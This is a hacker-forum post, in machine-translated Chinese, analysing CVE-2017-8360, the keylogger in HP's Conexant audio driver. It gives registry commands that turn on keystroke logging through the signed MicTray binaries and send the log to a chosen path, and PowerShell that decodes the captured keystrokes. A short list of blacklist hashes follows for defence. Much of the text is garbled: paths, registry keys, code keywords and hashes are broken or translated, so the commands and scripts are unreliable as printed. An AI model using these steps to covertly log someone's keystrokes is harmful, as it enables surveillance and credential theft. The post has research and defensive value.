跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

CVE-2017-8360(惠普音频驱动中的键盘记录器)利用率分析

精选回复

发布于

0x00 前言

2017年5月,瑞士安全公司Modzero的安全研究员托尔斯滕施罗德(Thorsten Schroeder)发现惠普的Conexant音频驱动程序中存在键盘记录器,该记录器非法记录用户的键盘输入。

本文从技术研究的角度,对利用方法进行了检验和分析,给出了辩护建议,并纠正了部分文章中的一些误解。

0x01 简介

本文将介绍以下内容:

脆弱性简介

漏洞重现

利用理念

辩护建议

0x02 漏洞简要介绍

可用信息:

https://www . modzero . ch/advisories/MZ

用户安装惠普的Conexant音频驱动程序后,将创建一个计划任务,并在用户登录后执行文件MicTray.exe。

注:

34位程序是MicTray.exe,64位程序是MicTray64.exe。

启动MicTray.exe将记录用户的键盘输入,并以两种方式保存:

写入文件C:\ Users C:\ Users \ Public \ mic tray . log

内容是通过WinAPI OutputDebugString()记录的,其他程序可以读取。

0x03 漏洞复现

漏洞重现参考:

https://Diablo horn . com/2017/05/12/重新利用惠普音频键盘记录器/

本节将扩展参考资料中的内容,并介绍读取OutputDebugString()中记录的方法。

易受攻击的驱动程序下载地址:

FTP://whp-aus 1 . cold . ext web . HP . com/pub/soft paq/sp 79001-79500/sp 79420 . html

此地址已过期,单个文件的下载地址:

MicTray.exe:

https://www . virus total . com/nl/file/e 882149 c 43976 DFA db 2746 eb2d 75 a 73 f 0 be 5 aa 193623 b 18 b 50827 f 43 CCE 3 ed 84/analysis/

MicTray64.exe:

https://www . virus total . com/nl/file/c 046 c 7 f 364 b 42388 bb 392874129 da 555d 9 c 688 dced 3 AC 1d 6 a 1 c 6 b 01 df 29 ea 7 a 8/analysis/

测试系统:Win7 x64(更新补丁)

记录方法1.将键盘记录内容写入文件C:\Users\Public\MicTray.log

(1)添加注册表

使用MicTray.exe:

REG add hklm \ SOFTWARE \ wow 6432 node \ Conexant \ mic tray \ Hotkey/v custom settings/t REG _ DWORD/d 1

使用MicTray64.exe:

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v custom settings/t REG _ DWORD/d 1

随便选一两个。

MicTray64.exe被选中参加这次测试。

(2)运行MicTray.exe/MicTray64.exe

生成日志文件C:\Users\Public\MicTray.log

记录键盘输入,如下图所示

2-1.png

注:

可以低权限运行。如果要在高权限程序中记录键盘输入,需要以高权限运行。

记录方法2.通过OutputDebugString()输出键盘记录内容

可以通过DbgView读取WinAPI OutputDebugString()的输出。

下载地址:

https://live.sysinternals.com/Dbgview.exe

因为无法获取HP Conexant音频驱动的安装包,所以这里选择Procmon来查找触发模式。

注:

也可以动态调试,找到函数判断条件。

使用Procmon在运行时监控MicTray64.exe对注册表的操作,记录方法1(写文件)的注册表操作,如下图所示。

2-2.png

DbgView输出如下

2-3.png

尝试解决错误并添加注册表项:

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v HotKeyMicScancode/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v HotKeySpkScancode/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v playback gpio/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v CaptureGPIO/t REG _ DWORD/d 1

注:

运行后,MicTray64.exe会自动在注册表hkcu\SOFTWARE\Conexant中添加配置信息。

经过测试,还需要清除注册表中的配置信息,否则DbgView无法获取键盘记录。

清除配置信息:

reg delete hkcu \ SOFTWARE \ Conexant/f

重启MicTray64.exe,成功获取键盘记录信息,如下图所示。

2-4.png

综上所述,记录方法2(通过OutputDebugString()输出)的触发条件如下:

注册表项hkcu\SOFTWARE\Conexant不存在。

配置以下注册表项:

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v custom settings/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v HotKeyMicScancode/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v HotKeySpkScancode/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v playback gpio/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v CaptureGPIO/t REG _ DWORD/d 1

0x04 利用思路

从渗透测试的角度,分析了现有的思路。

通过修改注册表可以修改记录文件的保存位置:

REG add hkcu \ SOFTWARE \ Conexant \ mic tray 64。exe/v LogName/t REG _ SZ/d ' C:\ test \ log。'文本'

1、针对32位系统的键盘记录

配置命令如下:

注册添加hkcu \ SOFTWARE \ Conexant \ mic托盘。exe/v LogName/t REG _ SZ/d ' C:\ test \ log。'文本'

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v自定义设置/t REG _ DWORD/d 1

执行MicTray.exe后,记录文件保存在C:\test\log.txt

2、针对64位系统的键盘记录

32位程序(MicTray.exe)的配置命令如下:

注册添加hkcu \ SOFTWARE \ Conexant \ mic托盘。exe/v LogName/t REG _ SZ/d ' C:\ test \ log。'文本'

REG add hklm \ SOFTWARE \ wow 6432 node \ Conexant \ mic tray \ Hotkey/v自定义设置/t REG _ DWORD/d 1

64位程序(MicTray64.exe)的配置命令如下:

REG add hkcu \ SOFTWARE \ Conexant \ mic tray 64。exe/v LogName/t REG _ SZ/d ' C:\ test \ log。'文本'

REG add hklm \ SOFTWARE \ Conexant \ mic tray \ Hotkey/v自定义设置/t REG _ DWORD/d 1

该工具通过调用WinAPI SetwindowsHookEx()实现键盘记录,相对于常规的键盘记录程序,优点在于包含数字签名

如下图

3-1.png

3、解析键盘记录内容

日志文件记录的是键盘的虚拟键码

可以通过脚本实现将虚拟键码转换为键盘按键的名称

测试参考链接中的powershell代码:

https://www。modzero。ch/咨询/MZ

代码如下:

$ filename=' c:\ users \ public \ mic tray。“日志”

【系统10 . IO。FileStream] $fs=[System .IO。文件]:打开(

$filename,

【系统10 . IO。文件模式]:打开,

【系统10 . IO。FileAccess]:读取,

【系统10 . IO。文件共享]:读写)

【系统10 . IO。StreamReader] $fr=[System .IO。StreamReader]:新(

$fs,

【正文UTF8Encoding]:UNICODE)

$el=0

while($el -lt 2) {

$line=$fr .读取线()

#处理日志中的断行.

if([string]:IsNullOrEmpty($ line)){

$el

}否则{

$el=0

}

$mc=[regex]:Match($line,

米奇托盘64。exe。*标志(0x 0[A-Fa-F0-9]?).*vk (0x[A-Fa-f0-9] )$ ')

$r=$mc .组[2]。价值

if(-Not[string]:IsNullOrEmpty($ r)){

$i=[convert]:ToInt32美元

$c=[convert]:ToChar($i)

if($ I-lt0x 20-或$i -gt0x7E) { $c=',' }

write-host-NoNewLine $(“{ 0 }”-f $ c)

}

}

我在测试时代码报错,如下图

3-2.png

这里提供一个简单的解决方法,代码如下:

$ filename=' c:\ users \ public \ mic tray。“日志”

$fr=Get-Content $filename

foreach(法国中的行)

{

$mc=[regex]:Match($line,

米奇托盘64。exe。*标志(0x 0[A-Fa-F0-9]?).*vk (0x[A-Fa-f0-9] )$ ')

$r=$mc .组[2]。价值

if(-Not[string]:IsNullOrEmpty($ r)){

$i=[convert]:ToInt32美元

$c=[convert]:ToChar($i)

if($ I-lt0x 20-或$i -gt0x7E) { $c=',' }

write-host-NoNewLine $(“{ 0 }”-f $ c)

}

}

转换后的输出如下图

3-3.png

0x05 防御建议

添加文件黑名单

MicTray.exe:

沙256:e 882149 c 43976d fadb 2746 eb2d 75 a 73 f 0 be5 aa 193623 b 18 b 50827 f 43 CCE 3版84

MicTray64.exe:

沙256:c 046 c 7 f 364 b 42388 bb 392874129 da 555d 9 c 688 dced 3 AC 1d 6 a 1 c 6 b 01 df 29 ea 7 a 8

注:

更新Windows操作系统操作系统补丁并不能阻止该程序的运行

0x06 小结

本文复现了CVE-2017-8360(惠普音频驱动程序中的键盘记录器)键盘记录的方法,分析利用思路,改进测试脚本,给出防御建议。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。